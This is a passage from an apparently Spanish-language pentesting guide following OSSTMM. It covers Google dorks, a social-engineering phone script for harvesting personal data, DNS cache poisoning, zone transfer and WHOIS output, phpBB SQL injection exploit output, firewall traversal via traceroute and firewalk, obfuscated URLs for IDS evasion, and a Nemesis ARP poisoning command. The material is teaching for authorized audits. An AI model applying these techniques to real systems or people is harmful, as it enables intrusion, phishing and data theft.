será el tester el que tenga la última palabra, y podrá realizar los tests según su experiencia y
creatividad. Cabe añadir, además, que muchas de las tareas son poco concretas y abiertas,
previniendo el que nuevas tecnologías o características dejen obsoletas estas tareas. Es comparable
pues, a las leyes jurídicas, donde suelen ser vagas y libres de interpretarse, para que puedan abarcar
mas casos, ya que sería completamente imposible definir toda situación posible y futura.
Cada módulo, está relacionad con el anterior y el siguiente, y entre secciones ocurre de forma
similar. Los datos y conclusiones obtenidas en un módulo, pueden servir para la realización de la
siguiente tarea. Por ejemplo, se pueden descubrir nuevos hosts para comprobar.
Página 24
Cualquier IP relevante a algunas de éstas, podría ser útil al realizar el ataque. Consideraremos
relevantes las IP si éstas:
•Pertenecen a la organización
•Usadas por la organización
•Están registradas a nombre de la organización
•Sirve a la organización de alguna forma
•Está asociada a la organización
Cabe notar, que a la hora de realizar la auditoría, hemos de tener muy claro que la información
recogida en esta sección, puede estar tanto dentro, como fuera del alcance de nuestro contrato.
Como sugerencia de un software para realizar esta sección de forma ordenada, se ha hablado
últimamente de una aplicación de software libre, que permite realizar una revisión de la inteligencia
competitiva de forma ordenada. Esta aplicación se llama Maltego. Según su web oficial
(http://www.paterva.com/maltego/), describe Maltego como:
“Maltego es una aplicación de inteligencia y forense libre. Permite la minería y recogida de
información además de la representación de esta información de una forma útil.
Junto con sus librerías gráficas, Maltego, te permite identificar relaciones clave entre la información
e identificar previamente relaciones entre ella”.
A continuación muestro una captura de pantalla(Figura 1: ):
Figura 1:
Algo interesante para añadir en esta sección, es algo que parece estar extendiéndose en fama en
estos días, el Google hacking.
El Google hacking consiste en utilizar la potencia de almacenamiento y búsqueda de algunos
motores de búsqueda (en este caso, de Google), para buscar información sensible, o que no debería
ser pública, en las bases de datos del buscador. Éstas, se realizan mediante la utilización de palabras
clave o sentencias específicas, y suelen ser de gran ayuda para el auditor.
En su formato malicioso, puede ser utilizado para detectar servidores web (o páginas web) que sean
vulnerables a ciertas vulnerabilidades, o fallos de seguridad. También, sirven para buscar
Página 25
información sensible de otras personas, como tarjetas de crédito, passwords.
La forma de uso del Google hacking, es mediante el uso de operadores avanzados de filtro de
Google. Por ejemplo, la sentencia:
intitle:admbook intitle:version filetype:php
Busca todas las páginas web que contengan “admbook” y “version” en el título, y que la web
accedida es PHP. Esto es útil, ya que muchas páginas web, por defecto vienen con un texto
contenido en la web, que especifica la versión, y ésta podría tener una vulnerabilidad conocida.
2. Revisión de la privacidad
La revisión de la privacidad, se encarga de las partes éticas y legales referentes al almacenaje,
transmisión y control de datos de empleados y clientes. Se encarga de que se cumplan los derechos
de las personas dentro de una empresa, para que sus datos personales no queden al descubierto de
todo el mundo. Se refiere también, a como se distribuyen las contraseñas. No es lo mismo
transmitirlas mediante palabra, que por escrito, vía mail etc... Esto puede ser muy comprometedor
tanto para la empresa como para la persona afectada. Es común, encontrar muchas contraseñas
escritas en, por ejemplo, post-its pegados en el borde del monitor del puesto de trabajo.
A pesar de que muchas leyes son locales, todas se aplican a Internet, y por tanto, afectan a los
security testers internacionalmente. Es necesario pues, tener un conocimiento básico de estas leyes,
y las medidas necesarias para que la empresa pueda cumplirlas.
En lo que se refiere a España, las leyes mas famosas que guardan relación con la privacidad, son la
Ley Orgánica de Protección de Datos (LOPD) y la Ley de Servicios de la Sociedad de la
Información (LSSI o LSSICE). No entraremos en detalles sobre estas leyes, pero básicamente se
refieren a:
LOPD: objetivo principal es regular el tratamiento de los datos y ficheros, de carácter personal,
independientemente del soporte en el cual sean tratados, los derechos de los ciudadanos sobre ellos
y las obligaciones de aquellos que los crean o tratan .
LSSI:
•Las obligaciones de los prestadores de servicios incluidos los que actúen como intermediarios en la
transmisión de contenidos por las redes de telecomunicaciones .
•Las comunicaciones comerciales por vía electrónica.
•La información previa y posterior a la celebración de contratos electrónicos.
•Las condiciones relativas a su validez y eficacia.
•El régimen sancionador aplicable a los prestadores de servicios de la sociedad de la información.
3. Recolección de documentos
Esta sección, guarda cierta relación con el punto uno de esta sección (Revisión de inteligencia
competitiva), aunque esta se centra más, en aspectos más pequeños y concretos, como emails,
ofertas de trabajo etc... que se pueden extraer de la información o metadatos que incluyen los
documentos. Una herramienta interesante para realizar esto, podría ser FOCA(Figura 2: ). Se trata
de un programa para la descarga de ficheros ofimáticos de páginas web, extraer información oculta,
metadatos, y datos perdidos. También puede cruzar la información obtenida e intentar conseguir el
mapa de la red estudiada. Se creó para la gira Up To Secure y Blackhat Europe 2009.
Página 26
Figura 2:
Dispone también de una versión online(Figura 3: ), que puede ser muy útil para realizar esta sección
de forma rápida, y desde cualquier lugar que disponga de conexión a Internet.
Figura 3:
1. Testeo de Solicitud
Este tipo de testeo, es una rama de lo que se conoce como ingeniería social. En este caso, tratamos
de ganar acceso solicitando permiso al personal encargado de dar permisos de acceso, mediante el
uso de sistemas de comunicación (email, teléfono, etc...) haciéndonos pasar por otra persona.
Uno de los principios básicos de la ingeniería social dice, que “los usuarios son el eslabón débil”. Y
esto es muchas veces cierto. Muchas veces, los fallos de seguridad de la información no provienen
de la mala programación o configuración del sistema, sino de la gente no entrenada, poco precavida,
o simplemente indiscreta. Esto muchas veces se resuelve como una persona que utilizará Internet, o
el teléfono fingiendo ser, por ejemplo, un empleado de algún banco, una tercera empresa, cliente
etc.. en busca de algún tipo de información que le permita el acceso al sistema.
Un ejemplo sencillo, podría ser el hacerse pasar por el administrador, pidiendo a los usuarios por
email su contraseña para cualquier propósito legítimo. Esto muchas veces se ve en el día a día de
Página 27
cualquier internauta, cuando recibe el llamado “phishing” de alguna entidad, que pide el número de
tarjeta de crédito para realizar cualquier comprobación.
Esto, que parece tan simple, como es el “hacerse pasar por alguien”, es curiosamente un método que
suele resultar bastante eficaz, y mucho menos costoso que la búsqueda de fallos informáticos. De
hecho, es conocido por la web, que en una empresa llamada Boixnet, se hizo una encuesta, donde el
90% de los empleados de oficina de la estación de Waterloo, reveló sus contraseñas a cambio de un
bolígrafo barato. No se hasta que punto será cierto esto, ya que no he sido capaz de contrastarlo con
fuentes fiables, pero al menos nos deja ver, la importancia que toma en la red, el concepto de
“ingeniería social”. Además, encontrar ejemplos reales de ataques de ingeniería social suele ser
difícil, ya que las organizaciones que lo han sufrido no quieren admitirlo, o no ha sido documentado
formalmente, o quizás ni siquiera se dieron cuenta de que lo han sufrido. No obstante, existen un
par de ejemplos extraídos del International Secutity Institute:
Te llaman a medianoche:
Página 28
pasando con su ID. Dígame su ID y su password.
Como vemos, los ejemplos pueden ser bastante bien ideados e inteligentes, y gente que no ha sido
advertida, o poco entrenada, es propensa a dar sus datos.
Página 29
Figura 4:
Una vez conocidos estos campos, podemos explicar como funciona el fallo de DNS, o más
correctamente, el envenenamiento de caché (cache poisoning).
El envenenamiento de cache de DNS no es tan sencillo como simplemente enviar paquetes
aleatorios al servidor de nombres (al contrario que otros envenenamientos, como ARP), ya que el
servidor de nombres sólo acepta respuestas de peticiones que aún tiene pendientes.
¿Como sabe un servidor de nombres que espera un determinado paquete?
–El paquete llega al mismo puerto UDP desde el que se envió.
–La sección pregunta/respuesta (que está duplicada en la respuesta del paquete), coincide con la
pregunta/respuesta de la petición pendiente.
–La Query ID coincide con la petición pendiente.
Página 30
–Que las secciones de Authority y Additional contienen nombres que se encuentran dentro del
mismo dominio que la pregunta. Esto se conoce como "bailiwick checking".
Si se satisfacen todas estas condiciones, el servidor de nombres aceptará la respuesta como válida, y
almacenará en su caché la nueva tupla nombre de dominio – IP.
Ahora bien, ¿como conseguimos que se den todas estas condiciones?
El fallo, surge del hecho de que es fácil adivinar el Query ID, ya que en los antiguos servidores de
nombres, el Query ID simplemente aumenta en uno en cada petición que envía, y esto hace que sea
fácil de saber cual será el siguiente mientras podamos conocer alguna petición.
Figura 5:
Podemos provocar al servidor de nombres que nos diga su Query ID, tal y como se expone(Figura
5: ):
1.El usuario malintencionado (bad guy en el diagrama) pregunta al servidor de nombres víctima por
un nombre en una zona para un servidor de nombres que él controla (en el ejemplo,
test.badguy.com). Podría también preguntar al servidor directamente, si permite recursión desde
donde se encuentra el usuario malintencionado, o también convencer a un usuario para que busque
un nombre, por ejemplo, incluyendo el nombre del test en una página web.
2.El servidor de nombres víctima recibe la petición y opera como lo haría normalmente, intentando
resolver el nombre de dominio en los servidores raíz.
3.La dirección test.badguy.com se resuelve en el servidor del usuario malintencionado (puesto que
es suyo.
4.Mientras tanto, el usuario malintencionado ha estado monitorizando el tráfico IP que pasa por su
máquina, y así captura la Query ID utilizada.
En este punto, ya tenemos la Query ID, aunque en realidad no hemos envenenado la caché, ya que
la dirección test.badguy.com era realmente lícita y perteneciente al usuario malintencionado. Pero,
Página 31
ahora, ya conocemos como podemos predecir el Query ID, además de otros datos como el puerto
UDP, ver los servidores de nombres que se han ido consultando etc. Ahora, veamos como
finalmente podemos utilizar esto para finalmente envenenar la caché (Figura 6: ):
Figura 6:
–Paso 1: El usuario malintencionado envía una petición DNS al servidor de nombres víctima del
hostname que quiere “falsificar” (www.bankofsteve.com). En el ejemplo, se asume que el servidor
de nombres víctima permite peticiones recursivas desde la zona del atacante.
–Paso 2a: Sabiendo que la víctima está a punto de hacer una consulta de una dirección IP a
ns1.bankofsteve.com(redirigido desde los servidores raíz), el atacante empieza a lanzar múltiples
peticiones a la víctima con paquetes DNS de respuesta, simulando que provienen de
ns1.bankofsteve.com (servidores globales), con el nombre del dominio a secuestrar, y la IP del
servidor web del atacante.
–Pasos 2b y 3: La consulta DNS se realiza normalmente, respondiendo a la víctima que consulte el
servidor ns1.bankofsteve.com.
–Paso 4: el servidor de nombres víctima pregunta a ns1.bankofsteve.com por la dirección IP de
www.bankofsteve.com, y utiliza el Query ID 1001 (uno mas que la Query anterior).
–Paso 5: El servidor de nombres real responde a la Query con Query ID?1001. Pero, como el
atacante ha estado enviando muchas respuestas en el paso 2a, la respuesta “legal” llega demasiado
tarde, por lo que se descarta.
Página 32
–Paso 6: Ahora, en la caché del servidor de nombres víctima está la dirección fraudulenta, y a partir
de ahora, siempre que se le consulte, responderá con la dirección IP del atacante.
¿Porqué ha sucedido esto? El problema, es que se acepta la primera respuesta correcta, aunque haya
recibido muchas incorrectas, y continúe recibiendo correctas después.
Cabe destacar unas cuantas cuestiones sobre el tema:
–El nombre NO DEBE estar en la caché antes del ataque. Si la dirección estuviera ya en la caché, no
se efectuarían consultas, por lo que hay que esperar a que caduque en la caché, y luego intentar el
ataque.
–El atacante, debe adivinar la Query ID, pero como vemos, esto es posible, ya que solo se
incrementa en 1 cada vez, por lo que el rango de pruebas suele ser pequeño aún en servidores con
muchas peticiones.
–Por último, hay que destacar, que la víctima debe recibir la respuesta correcta del atacante ANTES
de que se reciba la respuesta legal, por lo que debe de estar más próximo a él que el lícito (cercano
en cuanto a tiempo), sino, llegará tarde, y se descartará.
Este problema del DNS se ha conseguido solucionar, utilizando métodos para que sea más difícil
adivinar la respuesta del Query ID, y ha habido que parchear una gran cantidad de servidores a lo
largo de la web. Desde luego, el descubrimiento de esta brecha de seguridad dio mucho que hablar
en 2008, aunque parece que ya está solucionado.
Página 33
— No, me parece que se ha equivocado.
— Vaya, lo siento, entonces no puede acceder a la promoción… en
cualquier caso, es usted cliente de XXXX, ¿verdad?
— Sí, sí, dígame…
— ¿Dispone usted de correo electrónico?
— Claro.
— Si me lo facilita, le enviaremos un e-mail y, simplemente por
responder al mismo y rellenar nuestro cuestionario, tendrá acceso
exclusivo a esta promoción.
— Claro, mi correo es yyyy@hotmail.com.
— En breve recibirá el correo; una vez obtenida su respuesta, en
el plazo de una semana nos pondremos en contacto con usted para
confirmarle el acceso y tendrá llamadas gratis durante todo el mes
de agosto.
— Ah, muchas gracias, muchas gracias…
A partir de aquí, no hay más que enviar un correo al individuo en
cuestión desde una dirección que parezca creíble; aunque para el
99% del personal es creíble cualquier dirección de Hotmail, mucho
más elaborado es utilizar algo del tipo
“registro@XXXXX.dyndns.org”, donde XXXX es obviamente el nombre de
la operadora. En ese correo, con logos oficiales y formalismos que
le den credibilidad, le pedimos amablemente su nombre, código
postal —por aquello de la estadística— y el número de teléfono que
quiere asociar a la promoción (aunque ya lo sepamos, nunca está de
más). Et voilà, tenemos enseguida cómo se llama la persona y dónde
vive (a lo de pedir la dirección postal, aparte de que no nos
aporta nada, la gente suele ser más reacia, pero el código postal
lo facilitamos sin problemas).
Como vemos, con solamente un número de teléfono, hemos conseguido obtener una gran cantidad
de información personal. Imaginemos la cantidad de variantes que podríamos idear para aplicarlo al
mundo de la empresa, e imaginemos como podríamos mejorarlo si previamente nos informamos de
la empresa o la persona a la que estamos llamando. Además, existen muchas personas más dentro de
la empresa, por lo que lo que obtengamos de una de ellas, podremos aplicarlo para que el llamar a la
siguiente persona nos resulte más fácil.
1. Sondeo de la Red
Este módulo, es muchas veces no considerado como tal. Sucede, que muchas veces no se realiza, ya
que el cliente puede dar directamente un rango de IPs a comprobar. Además, muchas veces, los
resultados obtenidos en este módulo son completados en módulos posteriores.
Este módulo, es el primer punto de reconocimiento de la red. Se trata de averiguar todo lo que
podamos sobre ella de forma no invasiva. Lo haremos desde fuera, intentando averiguar todo lo que
podamos de ella, como rangos de IPs que tiene la compañía, subdominios etc...
Este módulo es bastante similar a los de la sección A, solo que ahora estamos intentando recolectar
información más concreta, sobre mapeos de red, bloques de IP. El buscar IPs individuales será tarea
de bloques posteriores. Si encontrásemos una IP individual, incluiríamos su rango en lugar de la IP.
Muchas veces esto podría ser una suposición falsa, pero en este punto, estamos intentando recabar
Página 34
toda la información posible, que ya filtraremos más tarde. Es mejor que nos sobre que el que nos
falte.
¿Qué podemos hacer para conseguirlo? Existen muchas posibilidades, entre las que se destacan:
–WHOIS
–DNS Zone Transfer
WHOIS es un protocolo que está ampliamente extendido para consultar una base de datos oficial
para determinar el propietario de un nombre de dominio, dirección IP etc... Tradicionalmente, se
ejecutaba por línea de comandos (en linux mediante el comando whois), aunque ahora existen webs
que lo ejecutan(Figura 7: ):
Figura 7:
En la imagen anterior, introducimos Google, para que nos muestre información sobre el dominio. A
continuación se muestra un extracto de la información que nos devuelve la página web:
Registrant:
Dns Admin
Google Inc.
Please contact contact-admin@Google.com 1600 Amphitheatre
Parkway
Mountain View CA 94043
US
dns-admin@Google.com +1.6502530000 Fax: +1.6506188571
Administrative Contact:
DNS Admin
Google Inc.
1600 Amphitheatre Parkway
Mountain View CA 94043
US
dns-admin@Google.com +1.6506234000 Fax: +1.6506188571
Technical Contact, Zone Contact:
DNS Admin
Página 35
Google Inc.
2400 E. Bayshore Pkwy
Mountain View CA 94043
US
dns-admin@Google.com +1.6503300100 Fax: +1.6506181499
ns4.Google.com
ns3.Google.com
ns2.Google.com
ns1.Google.com
Como vemos, encontramos información tanto del registro, como algunos servidores de dominio.
Las DNS zone transfer, normalmente son utilizadas para replicar datos DNS a entre distintos
servidores DNS, o para hacer copias de seguridad de los mismos. Un usuario o servidor realizará
una petición de transferencia de zona de un servidor de nombres especifico. Si el servidor o permite,
todos los nombres DNS y direcciones IP alojadas en el mismo servidor de nombres serán
transferidas en ASCII, por lo tanto, será ideal para nuestros propósito.
en linux, el comando host:
$ host -l rutgers.edu
> Rutgers.EDU name server dns1.Rutgers.EDU
> Rutgers.EDU name server dns2.Rutgers.EDU
> Rutgers.EDU name server dns3.Rutgers.EDU
> Rutgers.EDU name server turtle.mcc.com
> Rutgers.EDU has address 165.230.4.76
> grad03.Rutgers.EDU has address 128.6.20.29
> dgcacook4.Rutgers.EDU has address 128.6.87.158
> grad04.Rutgers.EDU has address 128.6.20.30
>nslookup 204.228.150.3
Server: ns.computerhope.com
Address: 1.1.1.1
Name: www.computerhope.com
Address: 204.228.150.3
Existen muchas otras posibilidades, como las técnicas de Forward DNS Brute Force, SMTP Mail
Bounce, o la extracción de registros de dominio, aunque son menos utilizadas. Se puede leer
ampliamente sobre su funcionamiento en el libro “Penetration Tester's Open Source Toolkit” de
Syngress.
Página 36
2. Escaneo de Puertos
Aquí comienza la primera parte del test intrusivo. En este módulo, se intenta comprobar qué
servicios están activos actualmente, a la escucha de que un cliente se conecte a ellos.
El escaneo de puertos se sondea los puertos del sistema en el nivel de transporte y de red, y se
comprueba también si el firewall está correctamente configurado.
Todo sistema conectado a la red, tiene 65536 puertos (incluyendo el puerto 0). Sin embargo, no
hace falta comprobarlos todos siempre. El seleccionar qué puertos comprobar lo deciden el propio
equipo de la auditoría. Además de comprobar los puertos más importantes, si que se recomienda
escanear por puertos poco comunes de vez en cuando, pues es una forma común de detectar
servicios conectados pero no deseables, por ejemplo algún troyano que esté a la escucha.
NMAP es el escáner de puertos por excelencia, y se hablará de él y su forma de funcionar en el
ejemplo de test de penetración del presente texto.
3. Identificación de Servicios
En este módulo, se comprueba los resultados obtenidos del escaneo de puertos. Muchas veces, es
posible que los escáneres de puertos obtengan resultados erróneos, que sea otro servicio el que está
a la escucha (por ejemplo, un troyano a la escucha en un puerto conocido, como por ejemplo 53,
que generalmente está asociado a DNS). Es por ello que hay que verificarlo.
Para realizar las comprobaciones, se puede conectar mediante algún programa que envíe cadenas de
texto, e intercambiar comandos con aquellos servicios que queremos comprobar. Si responden a los
comandos de forma esperada (se puede comprobar que comandos admite cada protocolo en los
RFC), entonces, ese servicio está a la escucha en el puerto encontrado, y por lo tanto lo hemos
verificado.
Telnet, Netcat son ejemplos de herramientas para comprobarlo, y se hablará de ellas en el ejemplo
de test de penetración del presente texto.
Página 37
5. Búsqueda de Vulnerabilidades y Verificación
Aquí es donde se va a realizar el ataque en cuestión: se va a buscar y explotar los fallos que se
encuentren en las máquinas que haya en la red.
Generalmente, se suele utilizar programas automatizados, que buscan fallos de seguridad
documentados sobre las versiones de los programas y sistema operativo que usan las máquinas.
Cabe añadir, que la OSSTMM exige que se utilice al menos 2 programas automatizados distintos,
para comprobar las consistencias entre ambos, y así poder tener más información con menor
probabilidad de equivocarnos.
Seguidamente, habrá que comprobar que esos fallos existen efectivamente, y que no sean falsos
positivos. Aquí es donde entran los exploits: los exploits son pequeños trozos de código que utilizan
los crackers para introducirse en las máquinas ajenas. Los auditores, deberán hacer lo mismo, pero
de forma controlada para causar el menor número de daños, y siempre con la finalidad de poder
comprobar que esos fallos existen.
Hay que tener en cuenta, que todos los programas que existen en el mundo, contienen errores, ya
que el ser humano no es perfecto. Siempre encontraremos fallos con cada versión nueva de software
que pretenda corregir los de la anterior, y pueden ser de muchos tipos, por ejemplo: desbordamiento
de búfer (buffer overflow), condición de carrera (race condition), errores de validación de variables,
etc, etc.
Por ejemplo, puede darse el caso, de que se construya un programa, donde en un determinado
momento se pida al usuario algo por teclado, y no se compruebe el tamaño de la entrada, y cause un
buffer overflow. Siempre se puede programar un programa que se aproveche de esto, y escriba en
las posiciones de memoria referentes al UID y se haga con el control de la máquina. Podría
igualmente ser este mismo ejemplo, pero en un programa con el patrón cliente-servidor, donde el
servidor espera algo del cliente sin comprobar la longitud de entrada.
Hay dos tipos de exploits:
–0-day: son trozos de código privados, que aquella persona que los implementó no desea hacer
públicos (ya sea por no causar alarma, o para usarlos en beneficio propio).
–Públicos: son trozos de código cuyo propietario ha decidido poner a disposición de todo el mundo.
Existen múltiples webs donde gente comparte los exploits como www.milw0rm.com,
www.securityfocus.com, www.packetstormsecurity.org por ejemplo.
Normalmente, una vez han sido hechos públicos, es cuando los fabricantes conocen estos fallos y
tratan de solucionarlos.
A continuación muestro un ejemplo de como funciona un exploit. Se trata de phpBB Links MOD
1.2.2 Remote SQL Injection Exploit. El módulo "Links" del sistema de foros llamado phpBB en su
versión 1.2.2 es vulnerable a inyección SQL remota. Estos significa que mediante la URL es posible
interactuar directamente con la base de datos (en este caso MySQL) para, entre otras cosas, obtener
la password de Administrador y poder loguearse como tal:
Página 38
=>
www.foroejemplo.com
=> User ID
=> Number:
=>
1
Exploit in process...
Exploit
in process...
Exploit finished!
MD5-Hash is: 827ccb0eea8a706c4c34a16891f84e7b
Lo que ha sucedido aquí, es que dándole la dirección del foro, la sección, el ID de un usuario (en
este caso 1, que es el administrador del foro), nos ha recuperado el pass codificado en MD5, el cual
podremos intentar decodificar, por ejemplo, utilizando fuerza bruta, ataque de diccionario, desde la
máquina local, por lo que tenemos todo el tiempo del mundo para hacerlo, sin necesidad de utilizar
la red, y sin ser intrusivos.
Figura 8:
Página 39
El ciclo de vida típico de una vulnerabilidad y su explotación es la siguiente:
–Descubrimiento: un investigador de seguridad o vendedor descubre una vulnerabilidad de
seguridad crítica en el software
–Divulgación: el investigador de seguridad se mantiene fiel a la política de privacidad e informa al
vendedor, o bien lo divulga en una lista de correo pública. En ambos casos, el vendedor debe
desarrollar un parche para solucionar la vulnerabilidad.
–Análisis: el investigador o cualquier otra persona de cualquier punto del mundo, empiezan a
analizar la vulnerabilidad para determinar su explotabilidad. ¿Puede ser explotado?¿Puede ser
explotado remotamente?¿Resultará su explotación en una ejecución remota de código, o colgará el
sistema? Esta fase incluye también la depuración de la aplicación vulnerable mediante la
introducción de código malicioso en las partes vulnerables del código.
–Desarrollo del exploit: una vez las respuestas a las preguntas clave han sido determinadas, el
proceso de desarrollo del exploit comienza. Esto ha sido considerado normalmente como “artes
oscuras”, requiriendo un conocimiento profundo de los registros del procesador, código
ensamblador, offsets y payloads (payloads, en su significado de acciones a tomar par garantizar un
acceso remoto a la máquina, como por ejemplo vnc).
–Pruebas: esta es la fase donde el programador comprueba el exploit contra varias plataformas,
service packs, o parches, y posiblemente contra distintos procesadores.
–Liberación: una vez el exploit ha sido testeado, y los parámetros específicos requeridos para su
ejecución con éxito han sido determinados, el programador libera el exploit, ya sea de forma
privada, o en un foro público. Muchas veces, el exploit es modificado para que no funcione tal cual,
sino que haya que realizar unos pequeños cambios. Esto se hace, para que los conocidos como
“script-kiddies” no sepan utilizarlo, y que solamente aquella gente que sabe lo que hace y como
funciona el exploit, puedan utilizarlo.
Como bien sabemos, el TTL es un campo de un datagrama IP utilizado para limitar el número de
nodos por los que se desea que viaje el datagrama antes de ser descartado o devuelto a su origen por
la IP, ya que cada vez que pasa por un nodo, se decrementa en uno. Si vamos incrementando en uno
este campo cada vez (el TTL inicial), nos irá devolviendo un mensaje de error ICMP cada vez que
el TTL sea cero, y por lo tanto el host origen conocerá en qué router expiró el paquete.
Ahora que conocemos como funciona traceroute, podemos ver un par de ejemplos de como se
comporta el programa ante unas situaciones particulares:
Página 40
En el primer escenario, tenemos una red protegida por un firewall que bloquea todo el tráfico
entrante excepto ping y su respuesta (ICMP tipo 8 y 0 respectivamente).
En el primer ejemplo, usamos los paquetes UDP por defecto(Figura 9: ):
Figura 9:
Como vemos, nos lo bloquea. Ahora bien, vamos a intentarlo utilizando ICMP(Figura 10: ):
Figura 10:
Con esto, ya vemos que ya podemos acceder dentro de la red, y recoger datos de ella.
En el segundo escenario, vamos a ver que sucede si el firewall bloquea todo el tráfico entrante a
excepción de UDP puerto 53, es decir, para DNS (Figura 11: ):
Figura 11:
Como podemos ver en la figura (Figura 11: ), el traceroute es bloqueado en el octavo salto porque
no se permite el paso exceptuando peticiones DNS. Sabiendo esto, podemos diseñar un plan.
Página 41
Además, también conocemos el número de saltos entre nosotros y el firewall, por lo que es fácil
deducir:
Por ejemplo:
(53 – (8*3)) -1 = 28
Por lo tanto, si nuestro puerto inicial lo especificamos como 28, al llegar al firewall, los paquetes se
enviarán al puerto 53, y nos permitirá el paso (Figura 12: ):
Figura 12:
Como vemos, hemos conseguido saltar por encima del objetivo, pero se nos bloquea, más adelante,
ya que no se nos permite el paso de tráfico con puerto distinto a 53, y traceroute incrementa el
puerto. Una posibilidad para sortear esto, sería modificar el código de traceroute para que no
incremente el puerto objetivo, pero esto escapa al alcance del presente documento. De momento,
debemos conformarnos con que sabemos que el tráfico dirigido al puerto 53 se nos permite el paso,
y que otros se nos está bloqueando. Además, conoceremos el siguiente host al firewall.
Ahora comienza el concepto de Firewalking. Para poder utilizar la respuesta de la puerta de acceso
como medio de información, debemos saber dos cosas:
–La dirección IP de la última puerta de acceso antes firewall
–La dirección IP del host detrás del firewall.
La primera, nos servirá como origen de nuestras mediciones (en términos de saltos), y la segunda la
utilizaremos como dirección hacia la que enviar el flujo de paquetes. Podremos utilizar una técnica
conocida como firewall protocol scan, que nos dará a conocer qué puertos/protocolos nos permite el
firewall utilizar para atravesarlo. Para ello, trataremos de probar cada puerto, y esperar las
respuestas. O también podemos tratar de enviar paquetes a todos los hosts detrás del firewall, para
intentar hacer un mapa de la topología de la red.
A partir de aquí, traceroute nos limita mucho, por lo tanto, vamos a presentar una nueva
herramienta: firewalk. Su funcionalidad se basa en lo mencionado. Realizará dos fases, una de
exploración, y otra de escaneo. Una la hará para averiguar el TTL donde está la puerta de acceso, y
otra, para realizar el firewall protocol scan. Un ejemplo de ejecución (Figura 13: ):
Página 42
Figura 13:
9. Testeo de Firewall
Este módulo es bastante similar al del testeo de router. Las técnicas aplicadas en el anterior pueden
ser aplicables a éste. Aquí se realiza un estudio más avanzado de las reglas del firewall, entendiendo
al 100% todas las reglas, y permitiendo solo aquello expresamente necesario. Además, no solamente
se estudiará el firewall que haya en la puerta de enlace; se estudiarán todos los firewalls que haya en
el sistema estudiado.
Página 43
en la red, hace saltar una alarma, de tal forma que los administradores del sistema puedan realizar
las acciones pertinentes. Por ejemplo, podría ser una política de una empresa el que los usuarios de
la red no deban visitar páginas de pornografía. Por lo tanto, el IDS podría configurarse de tal forma
que, cuando detecte la palabra sexo, pornografía etc... bloquee el acceso.
Con la detección de patrones en URL (como en el ejemplo anterior), me resulta interesante
comentar, una técnica para tratar de evitar que el IDS alerte de un uso fraudulento. Se trata del uso
de obfuscated URLs.
A continuación, voy a comentar su funcionamiento básico, de forma que podamos ver cómo puede
burlar un IDS. Debo de advertir, que los ejemplos que voy a exponer a continuación utiliza IPs hace
mucho que han cambiado, por lo que los ejemplos podrían no funcionar.
¿Que es una obfuscated URL? Una obfuscated URL es una dirección url que hemos traducido (u
ofuscado en nuestro caso) para poder burlar o engañar tanto a un IDS como a un ser humano.
Trataremos de que no se reconozca aquella página web, por ejemplo, para usos fraudulentos.
Como vemos, es difícil de reconocer, y por tanto es altamente probable que pueda pasarse por alto
su contenido real, y probablemente pueda pasar inadvertida ante un IDS que no esté debidamente
configurado.
¿Como ha sido traducida? La parte entre http:// y la @, se suele utilizar para la autenticación (de la
forma usuario:pass), pero en las direcciones donde no se exige autenticación, no importa lo que
pongamos, por lo que tanto el navegador como el servidor simplemente lo ignorará. Esto podría
utilizarse para tratar de engañar también:
http://www.upv.es@3468664375/obscure.htm
Esta dirección podría hacer creer que la página web está en upv.es
La segunda parte, (entre la @ y la primera barra) 3468664375, es la propia dirección IP donde está
hospedada la página web, solo que se ha traducido de decimal a dword. Esto hace que sea más
dificil aún de reconocer. La forma de hacerlo, es la siguiente:
Por último, nos queda parte entre la primera barra y el final de la url:
/o%62s%63ur%65%2e%68t%6D
Esta parte equivale a: /obscure.htm Lo que hemos realizado aquí, es el traducir algunas letras a
hexadecimal (base 16) de sus códigos ASCII.
Esto no ha sido mas que un ejemplo. Hay muchas otras formas de realizarlo, desde las más simples,
a las más complejas, por lo que es algo interesante a realizar si queremos pasar desapercibido ante
algunos IDS, y algo que debemos revisar en el IDS que estemos comprobando.
Página 44
11. Testeo de Medidas de Contención
En el presente módulo, se comprueban todas las medidas existentes de respuesta que existen en el
sistema, para actuar ante un virus, troyanos, programas con código malicioso. Por lo tanto, se
comprobará cómo actúan los programas y políticas existentes en el sistema para mantenerlo limpio
de estas amenazas.
Soluciones tales como aislamiento o cuarentena de los mismos, copias de seguridad, antivirus etc...
El tipo de ataque más común para aprovecharnos de estos fallos, es el uso de ataques de fuerza
bruta o diccionario, de los cuales se muestra un ejemplo en la parte técnica del documento.
Para poder mejorar la robustez de nuestras contraseñas, se aconseja, evitar los fallos descritos antes,
y además:
Si seguimos estos consejos, el proceso se ralentiza considerablemente, hasta el punto de hacer que
no sea útil el tiempo invertido para descifrar la contraseña, y se intente entrar al sistema por otros
medios.
Por la parte de fallos del propio algoritmo de compresión, la mayoría se basan en fallos de origen
matemático o puramente criptográfico, lo cual se escapa de la intención del documento. No
obstante, se expone un ejemplo que ha sido bastante comentado, el fallo de MD5, que está
documentado en wikipedia :
Página 45
Aunque dicho ataque era analítico, el tamaño del hash (128 bits)
es lo suficientemente pequeño como para que resulte vulnerable
frente a ataques de «fuerza bruta» tipo «cumpleaños». El proyecto
de computación distribuida MD5CRK arrancó en marzo de 2004 con el
propósito de demostrar que MD5 es inseguro frente a uno de tales
ataques, aunque acabó poco después del aviso de la publicación de
la vulnerabilidad del equipo de Wang.
Debido al descubrimiento de métodos sencillos para generar
colisiones de hash, muchos investigadores recomiendan su
sustitución por algoritmos alternativos tales como SHA-1 o
RIPEMD-160.
Un ejemplo sencillo de un ataque DoS, es el ARP Injection. Antes de explicar el ataque, vamos a
recordar en que se basa el protocolo ARP:
1.Petición ARP: el ordenador A pregunta a toda la red, “¿Quien tiene esta IP?”
2.Respuesta ARP: El ordenador B le contesta al ordenador A “Yo tengo esta IP. Mi MAC es: (la
MAC que sea)”
3.Petición ARP Inversa (RARP): Mismo concepto que la petición ARP, pero el ordenador A
pregunta: “¿Quien tiene esta dirección MAC?”
4.Respuesta RARP: Ordenador B contesta al ordenador A “Yo tengo esa dirección MAC, mi
dirección IP es: (la IP que sea)”
Página 46
comunicarse con el router, de forma que quede incomunicada con el exterior.
Ahora, con ayuda de un programa llamado Némesis, vamos a envenenar la tabla ARP de la víctima:
C:\Némesis\>nemesis arp -D 192.168.0.50 -S 192.168.0.1 -H
00:01:02:03:04:05
ARP Packet Injected
Con este comando, hemos envenenado la tabla ARP de la máquina con dirección 192.168.0.50 que
ahora cree que la dirección MAC del router (con IP 192.168.0.1) tiene la MAC 00:01:02:03:04:05,
